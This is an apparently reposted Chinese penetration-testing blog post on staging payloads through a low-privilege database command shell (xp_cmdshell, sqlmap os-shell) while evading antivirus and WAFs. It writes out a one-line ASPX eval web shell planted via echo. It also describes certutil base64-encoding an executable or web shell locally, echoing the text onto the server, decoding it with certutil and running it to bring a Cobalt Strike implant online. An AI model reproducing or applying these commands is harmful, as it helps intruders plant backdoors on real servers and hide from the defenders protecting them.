天天看點

shell 寫入檔案_檔案上傳的一個騷操作(低權限+bypassAV)

shell 寫入檔案_檔案上傳的一個騷操作(低權限+bypassAV)

各位在滲透中是否遇見過這個問題:

雖然有低權限指令shell,如mssql、postgres等,執行下載下傳總是各種無權限或者被AV殺,輕則無法繼續滲透,重則彈出攔截消息,管理者上機後立馬發現。

本文将介紹一種使用windows自帶工具進行編碼,寫入編碼資料到TXT文本最後再解碼的騷操作。

話不多說,例如這樣場景:在資料庫連接配接後或者sqlmap注入連接配接os-shell後可執行指令:

shell 寫入檔案_檔案上傳的一個騷操作(低權限+bypassAV)

其中包括殺軟或某狗、某盾:

shell 寫入檔案_檔案上傳的一個騷操作(低權限+bypassAV)

此時下載下傳檔案的各種指令均被攔截:

shell 寫入檔案_檔案上傳的一個騷操作(低權限+bypassAV)

bitsadmin:

shell 寫入檔案_檔案上傳的一個騷操作(低權限+bypassAV)

certutil證書:

shell 寫入檔案_檔案上傳的一個騷操作(低權限+bypassAV)

還會被殺軟報警:

shell 寫入檔案_檔案上傳的一個騷操作(低權限+bypassAV)

powershell也會被徹底封殺:

shell 寫入檔案_檔案上傳的一個騷操作(低權限+bypassAV)

尤其是某管家,攔截更徹底,根本沒有倒計時自動消失(此時需要誇一下某大廠的報警提示倒計時功能)

而在這種環境下可在有權限寫入的前提下嘗試寫入一句話木馬:

xp_cmdshell 'echo  ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["bmfx"], "unsafe");%^>> D:WWWbmfx.aspx'
           

但也存在被某狗、WAF殺掉的可能。

此時,騷操作上場。

windows自帶的證書下載下傳,也就是上文使用但遠端下載下傳被攔截的Certutil,還可用來對檔案編碼解碼:

本地:
Certutil -encode artifact.txt artifact.exe

或指定路徑:
Certutil -encode d:artifact.txt d:artifact.exe
           
shell 寫入檔案_檔案上傳的一個騷操作(低權限+bypassAV)

将txt文本使用echo指令:

echo sfAFASFAsfasgasdf………>>d:1.txt
           

寫入伺服器後,進入txt所在目錄執行解碼(或直接指定實體目錄檔案):

Certutil -decode art.txt art.exe
或:
Certutil -decode d:art.txt d:art.exe
           
shell 寫入檔案_檔案上傳的一個騷操作(低權限+bypassAV)

後續可在指令中執行exe上線:

cmd.exe /c art.exe
           

重點是:本地解碼編碼操作不會觸發殺軟攔截行為!

此外,Certutil支援将任意檔案編碼解碼,除了exe還有aspx、php、jsp等(如加密免殺的webshell,此處使用哥斯拉為例):

shell 寫入檔案_檔案上傳的一個騷操作(低權限+bypassAV)

可在web站點寫入檔案後通路txt檢視寫入有無偏差:

shell 寫入檔案_檔案上傳的一個騷操作(低權限+bypassAV)

還有一點,本人親測,編碼後txt中的文本類似于生成的shellcode,會自動換行顯示,但本地替換換行符、自行拆分換行符,不改變内容的前提下,編碼、解碼前後的檔案不會有任何影響。

但是在navicat等資料庫軟體裡操作的話還有一個限制,echo的長度會提示不要過長:

shell 寫入檔案_檔案上傳的一個騷操作(低權限+bypassAV)

此時就要看各位師傅們在bypass WaF、AV時如何減小體量了,一般cs的馬bypass後會在50k左右,使用sqlmap的—os-shell執行echo不會像navicat要求128字元那麼短,但也有長度限制,具體各位可親測。